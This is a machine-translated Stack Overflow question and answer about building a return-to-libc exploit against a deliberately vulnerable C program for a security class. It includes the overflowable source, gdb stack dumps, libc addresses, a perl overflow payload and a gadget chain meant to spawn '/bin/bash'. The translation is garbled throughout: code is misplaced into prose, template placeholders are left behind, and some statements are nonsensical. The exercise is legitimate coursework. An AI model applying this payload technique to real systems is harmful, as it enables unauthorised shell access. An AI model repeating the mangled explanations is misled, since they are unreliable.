编写一个返回libc攻击但无法使其正常工作?

时间:2017-10-27 01:41:33

标签: c assembly memory stack-overflow

我需要在is_virus()上对安全类执行libc攻击。目标是溢出traffic[]并覆盖is_virus()的返回地址,以便它返回到libc函数system()以打开shell。现在我花了好几个小时才开始工作。

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
#include <unistd.h>
#include <time.h>
#include <ctype.h>

char *signatures[] = {"sys_open_ports", "sys_module", "write_binaries", 
"sys_binaries"};

int is_virus(int argc, char ** argv)
{
    char traffic[44];
    int i, j, k, len;

    traffic[0] = 0;
    for (i = 1; i < argc; ++i)
            strcat(traffic, argv[i]);

    for (j = 0; j < 4; ++j) {
            len = strlen(signatures[j]);
            for (i = 0; i < (int)strlen(traffic); ++i)
                    if (strncmp(signatures[j], traffic+i, len) == 0)
                            return 1;
    }

    return 0;
}

int main(int argc, char ** argv)
{
    if (argc < 2) {
            system("echo 'usage: target3 network_traffic_packets'");
            exit(1);
    }

    if (is_virus(argc, argv))
            printf("Alarm! virus founded\n");
    else
            printf("safe.\n");

    return 0;
 }

现在我开始找到system()exit()和字符串/bin/bash的地址。

我发现这些是......

system()= 0x40071584
 exit()= 0x400533a4
 “/ bin / bash”= 0xbffffefb这是在环境变量中发现的

根据我的理解,is_virus()的返回地址需要替换为system()的地址,后跟exit()的地址,然后是地址{{1} }}。接下来,我通过在gdb中反汇编/bin/bash来找到is_virus()的返回地址。

main

因此... 0x804868b <main+43>: pushl 0xc(%ebp) 0x804868e <main+46>: pushl 0x8(%ebp) 0x8048691 <main+49>: call 0x8048570 <is_virus> 0x8048696 <main+54>: add $0x10,%esp 0x8048699 <main+57>: mov %eax,%eax ... 应返回地址0x8048696。我用它来确定我需要多少填充。在堆栈指针后不久看内存......

is_virus()

我们可以看到返回地址是0xbffffab2。现在玩'A',我发现60个字节就在我的地址之前。

所以我用所有信息构建了输入

  

./ target3 $(perl -e'print“AAAA”x15,“\ x84 \ x15 \ x07 \ x40”,“\ xa4 \ x33 \ x05 \ x40”,“\ xfb \ xfe \ xff \ xbf” “)

查看Breakpoint 1, is_virus (argc=2, argv=0xbffffb34) at target3.c:15 15 traffic[0] = 0; (gdb) x/32xw $esp 0xbffffa60: 0xbffffaa0 0x4000d2b6 0x40016b34 0x40021298 0xbffffa70: 0x00000001 0x00000000 0x40021000 0x400212b8 0xbffffa80: 0xbffffac0 0x4000d2b6 0x08049840 0x080482cb 0xbffffa90: 0x4002d164 0x40158154 0x400168e4 0x4013d12e 0xbffffaa0: 0xbffffad8 0x4000d450 0xbffffac8 0x08048696 0xbffffab0: 0x00000002 0xbffffb34 0xbffffad8 0x08048551 0xbffffac0: 0x08049820 0x08049934 0xbffffb08 0x4003e507 0xbffffad0: 0x00000002 0xbffffb34 0xbffffb40 0x080483b2 之后的数据看起来是正确的。

strcpy()

但问题是(gdb) x/32xw $esp 0xbffffa20: 0xbffffa60 0x4000d2b6 0x40016b34 0x00000001 0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa50: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa60: 0x41414141 0x41414141 0x41414141 0x40071584 0xbffffa70: 0x400533a4 0xbffffefb 0xbffffa00 0x08048551 0xbffffa80: 0x08049820 0x08049934 0xbffffac8 0x4003e507 0xbffffa90: 0x00000002 0xbffffaf4 0xbffffb00 0x080483b2 地址会覆盖存储exit()值的位置,导致第一个循环执行多次并崩溃。我已经尝试将此值更改为0xFFFFFFFF并忘记了清除退出,但是当函数argc尝试返回时,我收到错误

  

无法访问地址0xffffffff

的内存

任何帮助将不胜感激!

1 个答案:

答案 0 :(得分:1)

正如我在评论中提到的,第一个堆栈视图显示0xbffffaac的返回地址,而不是0xbffffab2。但这并不重要,因为你通过实验发现了正确的填充。顺便说一句,如果通过./target3 ABC运行for并在is_virus(...)的第二个"ABC"进行转换,可能会有助于更有效地定位您的攻击,那么您就可以准确了解traffic所在的位置进入system()缓冲区。

libc中也没有exit()这样的东西。它是int system(const char *cmd);(根据链接),而add esp,12void exit(int exit_code);,至少将“...”放入括号中,因此读者无需考虑是否真的void参数调用,或者只是缩短形式。

免责声明:这个答案中的任何asm都是英特尔语法,因为我不能打扰AT&amp; T,但由于答案中没有任何严重的代码,所以它应该不重要,像{ {1}} vs addl $12,%esp希望很容易理解。

所以以模仿的方式“返回libc到system(...)”:

{
    system("/bin/bash");
    exit(<anything>);
}

你希望堆叠你试图放在那里的东西:

0x40071584  ; system() address to return to
0x400533a4  ; exit() address as new return for system()
0xbffffefb  ; "/bin/bash" string (and "return" for exit())
<anything>  ; exit code for exit()

到目前为止,非常好。

正如您所知,您的问题是,0x400533a4 exit()地址充当新的argc值,破坏了第一次循环的运行。

那么如何构建这样的堆栈:

<magic>
<neg_value> ; any negative value to be used as new argc
0x40071584  ; system() address to return to
0x400533a4  ; exit() address as new return for system()
0xbffffefb  ; "/bin/bash" string (and "return" for exit())
<anything>  ; exit code for exit()

<magic>是libc代码的地址,它将有效地执行:

add esp,4   ; or "pop anything"
ret

在我的机器上将静态链接的libc放到你的示例C文件中,我可以在system()入口点附近看到这个机器码(没有费心去搜索完全匹配):

<system()+0x27>:
    add esp,12
    movzx eax,al
    ret

看起来“足够好”让我受到虐待。通过添加一些填充并从我的新返回地址开始,如:

<system+0x27>  ; add esp,12 + ret
<neg_value> ; any negative value to be used as new argc
<junk1>     ; to make 12 bytes junk in stack
<junk2>     ; to make 12 bytes junk in stack
0x40071584  ; system() address to return to
0x400533a4  ; exit() address as new return for system()
0xbffffefb  ; "/bin/bash" string (and "return" for exit())
<anything>  ; exit code for exit()

我想我会实现你想要的调用序列(或者更确切地说是“ret sequence”:)。

没有验证,因为我无法以如此简单的方式编译原始C以使堆栈溢出工作+具有静态libc地址,在我的主系统上它增加了大量的周围+堆栈检查(其中我设法关闭了,但我仍然有完全不同的libc函数和堆栈地址,不像你的值。)

但是我认为这是真正适用于“返回”类型的攻击有效载荷构建的方法,所以它应该让你知道如何继续进行。 GL,HF。 :)